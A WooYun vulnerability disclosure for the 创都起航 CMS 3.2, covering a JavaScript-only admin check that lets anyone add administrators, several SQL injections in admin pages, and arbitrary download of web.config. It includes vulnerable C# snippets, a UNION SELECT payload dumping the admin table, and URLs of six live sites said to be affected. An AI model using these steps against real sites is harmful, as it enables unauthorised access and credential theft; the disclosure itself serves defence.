当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110318

漏洞标题:创都起航漏洞大集合(任意添加管理员、后台注入、文件下载)

相关厂商:创都起航

漏洞作者: Damo

提交时间:2015-04-27 12:49

修复时间:2015-06-11 12:50

公开时间:2015-06-11 12:50

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-27: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-06-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

上次没通过。请提供至少5个以上非demo的互联网实例 。因为上次哪个需要用户注册之后才能有影响所以才有了下面这篇 具体请看详细

详细说明:

软件版本:创都启航企业网站管理系统3.2最新版
1、任意添加管理员
问题出现在:CDQHCmsBack/Admin_User.aspx 文件下 看以下CS代码片段

protected void Page_Load(object sender, EventArgs e)
{
if (!Commen1.JudgeLogin(this.Page, this.DAL1))//此处判断是否登录 否则弹出JS
/*省略*/
}
protected void ImageButton1_Click(object sender, EventArgs e)
{
string text = base.Request.Form["UserName"].ToString().Trim();
string password = base.Request.Form["UserPwd"].ToString().Trim();
string text2 = FormsAuthentication.HashPasswordForStoringInConfigFile(password, "MD5");
int num = Convert.ToInt32(this.DAL1.ExecuteScalar(string.Concat(new string[]
{
"select count(*) from admin where admin='",
text,
"' and pwd='",
text2,
"'"
})));//这里添加用户
if (num > 0)
{
base.Response.Redirect("Admin_User.aspx?A=" + text + "&P=" + text2);
return;
}
base.Response.Write("<script language=javascript>window.alert('请您正确输入用户名和密码!(普通用户不能登录!)');window.location.href=('Admin_User_Login.aspx');</script>");
}、


如果在未管理员未登录的情况下Commen1.JudgeLogin这个函数则输出以下内容:

page.Response.Write("<script language=javascript>window.alert('请您重新登陆。');window.location.href=('Admin_Login.aspx')</script>");


这个地方可以看出 代码只是用JS控制页面的访问以及跳转。只要我们能绕过JS便可以添加用户了 看以下操作:
首先将火狐的javascript.enabled 改为false

a.JPG


然后浏览器访问

b.JPG


在这里可以任意添加用户 然后点击“添加”即可 点击后只是页面刷新了一下 没有其他反应。我们看一下本地数据库如下图:

c.JPG


然后访问/CDQHCmsBack/Admin_Login.aspx 登录即可

d.JPG


2、后台注入
注入1

http://192.168.10.55:7666/CDQHCmsBack/CmsLookMessageMember.aspx?id=0 union all select id,admin,pwd,lognum,'',logtime,'' from admin


f.JPG


注入2:

http://192.168.10.55:7666/CDQHCmsBack/CmsDelMessageMember.aspx


string text = (base.Request.QueryString["id"] == null) ? "" : base.Request.QueryString["id"];
if (text == "")
{
return;
}
this.Bll1.Delete("delete from QH_MessageMember where id=" + text);


注入3:

http://192.168.10.55:7666/CDQHCmsBack/CmsMember_ModifyNews.aspx


protected void Page_Load(object sender, EventArgs e)
{
/*省略N行*/
this.ViewState["id"] = base.Request.QueryString["id"].ToString();
this.DataToBind();
}
}
private void DataToBind()
{
DataTable dataTable = this.Bll1.GetDataTable("select Title,Content,AddDate,ModyDate,Author,hits from Member_News where id=" + (string)this.ViewState["id"]);
if (dataTable == null)
/*省略N行*/
}


注入4:

http://192.168.10.55:7666/CDQHCmsBack/CmsMemberManage


private int CalculateRecordNumber()
{
return this.Bll1.DAL1.ExecuteReader("select count(*) as co from MemberUser " + (string)this.ViewState["QWhere"]);
}
private ICollection CreateSource()
{
string strQuery = "select *,switch(Sex='1','男',Sex='2','女',true, '未知') as Sex from MemberUser " + (string)this.ViewState["QWhere"] + " order by UserID desc ";


注入5:

http://192.168.10.55:7666/CDQHCmsBack/CmsOrderDetails.aspx


string text = base.Request.QueryString["sub_num"];
if (string.IsNullOrEmpty(text))
{
return;
}
try
{
DataSet dataSet = this.Bll1.DAL1.GetDataSet("select * from ShopCart_basket where sub_number='" + text + "' and basket_check=1 order by basket_id asc");


后台注入还有很多 一一列举了
3任意文件下载
在后台的【内容管理】-》【下载中心】-》【软件下载】中添加一个内容如下图:

a1.PNG


我们得到上传地址 ../UpFile/20150323015609718.ZIP
那我将地址更改为../web.config如下图:

a2.PNG


保存后直接在列表中预览 然后点击“立即下载” 结果如下图:

a3.PNG


另外可以通过在后台更改上传文件格式 边可以getshell
下班咯 吼吼

漏洞证明:

添加管理员

c.JPG


后台注入:

f.JPG


任意文件下载:

a3.PNG


实例:

http://cj.haut.edu.cn/zyjs/CDQHCmsBack/Admin_User.aspx
http://www.cyjyzx.cn/CDQHCmsBack/Admin_User.aspx
http://www.lejian.net.cn/CDQHCmsBack/Admin_User.aspx
http://www.bjsvs.com/CDQHCmsBack/Admin_User.aspx
http://www.bgits.com.cn/CDQHCmsBack/Admin_User.aspx
http://demo.95c.com.cn/CDQHCmsBack/Admin_User.aspx

修复方案:

解决方案 :1权限验证不能单纯的依靠JS处理
2注入 参数改过滤的过滤 该参数化的参数化
3任意文件下载 文件访问权限的控制

版权声明:转载请注明来源 Damo@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝